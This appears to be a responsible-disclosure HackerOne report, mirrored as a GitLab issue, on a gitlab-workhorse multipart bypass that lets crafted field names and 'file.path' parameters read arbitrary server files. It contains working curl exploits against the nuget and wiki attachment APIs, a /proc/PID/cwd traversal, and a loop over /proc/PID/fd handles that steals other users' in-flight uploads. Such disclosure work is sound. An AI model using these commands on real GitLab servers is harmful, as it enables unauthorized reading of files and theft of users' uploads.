gitlab-workhorse bypass in Gitlab::Middleware::Multipart allowing files in `allowed_paths` to be read
HackerOne report #850447 by vakzz
on 2020-04-15, assigned to @vdesousa:
Summary
Extracted from https://hackerone.com/reports/835455#activity-7672566
While testing and looking at the patch for the nuget package workhorse bypass (#209080 (closed) I think) I came across a more widespread bypass:
# create test file on gitlab server
echo hello > /tmp/ggg; sudo chown git:git /tmp/ggg
# attacker
curl -XPUT -v -F '[package]=@/tmp/lala.txt' "http://vakzz:$TOKEN@gitlab-vm.local/api/v4/projects/171/packages/nuget/?package.path=/tmp/ggg"
{"message":"201 Created"}
Using [package]
as the field name causes the [@]rewritten_fields
to contain:
{
"rewritten_fields": {
"[package]": "/var/opt/gitlab/gitlab-rails/shared/packages/tmp/uploads/lala.txt539589799"
},
"iss": "gitlab-workhorse"
}
This is then used parsed_field = Rack::Utils.parse_nested_query(field)
which ends up creating the hash {"package"=>nil}
(same as package would return). This passes the validation, but the Multipart::Handler
will then use the query params as they match instead of the payload that workhorse sends through.
This also allows for any file in the following to be accessed:
def allowed_paths
[
::FileUploader.root,
Gitlab.config.uploads.storage_path,
JobArtifactUploader.workhorse_upload_path,
File.join(Rails.root, 'public/uploads/tmp')
]
end
This could be done anywhere that accelerated uploads, eg the UploadsController
or uploading a wiki file.
Using the wiki api removes the restriction that the file needs to be owned by git
due to file_content: attrs[:file].read
happening instead of moving the original file:
echo hello > /tmp/ggg; sudo chown root:root /tmp/ggg
$ curl -g -XPOST -v -H "Authorization: Bearer $TOKEN" 'http://gitlab-vm.local/api/v4/projects/171/wikis/attachments?file.path=/tmp/ggg' -F '[file]=@/tmp/lala.txt'
{"file_name":"ggg","file_path":"uploads/58ec1627b3f14eba0a16659fd859da63/ggg","branch":"master","link":{"url":"uploads/58ec1627b3f14eba0a16659fd859da63/ggg","markdown":"[ggg](uploads/58ec1627b3f14eba0a16659fd859da63/ggg)"}}
It's also fairly easy to steal incoming files tmp files that are currently opened in rails by:
-
Determine a valid PID by looping over
/proc/PID
until acwd
is found and readable bygit
(eg theunicorn
worker will have/proc/19606/cwd -> /var/opt/gitlab/gitlab-rails/working
) and traverse to a valid upload path:
$ curl -s -o /dev/null -w "%{http_code}\n" -XPOST -H "Authorization: Bearer $TOKEN" 'http://gitlab-vm.local/api/v4/projects/171/wikis/attachments?file.path=/proc/19601/cwd/../../../../../opt/gitlab/embedded/service/gitlab-rails/public/422.html' -F '[file]=@/tmp/lala.txt'
500
$ curl -s -o /dev/null -w "%{http_code}\n" -XPOST -H "Authorization: Bearer $TOKEN" 'http://gitlab-vm.local/api/v4/projects/171/wikis/attachments?file.path=/proc/19603/cwd/../../../../../opt/gitlab/embedded/service/gitlab-rails/public/422.html' -F '[file]=@/tmp/lala.txt'
201
```
-
Using this pid, use
/proc/PID/fd/XX
as thefile.path
(looking at my server a fd of 44 was the used pretty consistently for tmp files) and run it in a loop:
$ while true; do curl -s -XPOST -H "Authorization: Bearer $TOKEN" 'http://gitlab-vm.local/api/v4/projects/171/wikis/attachments?file.path=/proc/19603/fd/44' -F '[file]=@/tmp/lala.txt'| grep file_name; done
```
-
Upload a bunch of things, eventually a file will be stolen:
{"file_name":"image.png115893730","file_path":"uploads/232bcab08d5dcc29cc45c9fa1e868484/image.png115893730","branch":"master","link":{"url":"uploads/232bcab08d5dcc29cc45c9fa1e868484/image.png115893730","markdown":"image.png115893730"}}
```
Steps to reproduce
- create a new project
- create a wiki page
- create a test file on the gitlab server:
echo hello > /tmp/ggg;
- create a dummy file on the attackers server
echo unused > /tmp/lala.txt
- Upload a wiki file using the crafted params
bash $ curl -g -XPOST -v -H "Authorization: Bearer $TOKEN" 'http://gitlab-vm.local/api/v4/projects/171/wikis/attachments?file.path=/tmp/ggg' -F '[file]=@/tmp/lala.txt'` {"file_name":"ggg","file_path":"uploads/58ec1627b3f14eba0a16659fd859da63/ggg","branch":"master","link":{"url":"uploads/58ec1627b3f14eba0a16659fd859da63/ggg","markdown":"[ggg](uploads/58ec1627b3f14eba0a16659fd859da63/ggg)"}}
- paste the markdown into the wiki page and download the file
Impact
- read known files in
::FileUploader.root, Gitlab.config.uploads.storage_path, JobArtifactUploader.workhorse_upload_path, File.join(Rails.root, 'public/uploads/tmp')
- read unknown inflight files by using the symlinks in
/proc/PID/fd/XX
belonging to other users.
Examples
-
https://gitlab.com/vakzz-h1/workhorse-bypass/-/wikis/home
The above was uploaded usingfile.path=/opt/gitlab/embedded/service/gitlab-rails/public/422.html
to verify.
What is the current bug behavior?
An attacker can specify file.*
params and have gitlab believe they are valid and signed
What is the expected correct behavior?
Only params from the workhorse should be valid
Output of checks
Results of GitLab environment info
System information
System: Ubuntu 18.04
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.6.5p114
Gem Version: 2.7.10
Bundler Version:1.17.3
Rake Version: 12.3.3
Redis Version: 5.0.7
Git Version: 2.24.1
Sidekiq Version:5.2.7
Go Version: unknown
GitLab information
Version: 12.9.3-ee
Revision: 7c13691fb8e
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 10.12
URL: http://gitlab-vm.local
HTTP Clone URL: http://gitlab-vm.local/some-group/some-project.git
SSH Clone URL: git@gitlab-vm.local:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 12.0.0
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
Impact
- read known files in
::FileUploader.root, Gitlab.config.uploads.storage_path, JobArtifactUploader.workhorse_upload_path, File.join(Rails.root, 'public/uploads/tmp')
- read unknown inflight files by using the symlinks in
/proc/PID/fd/XX
belonging to other users.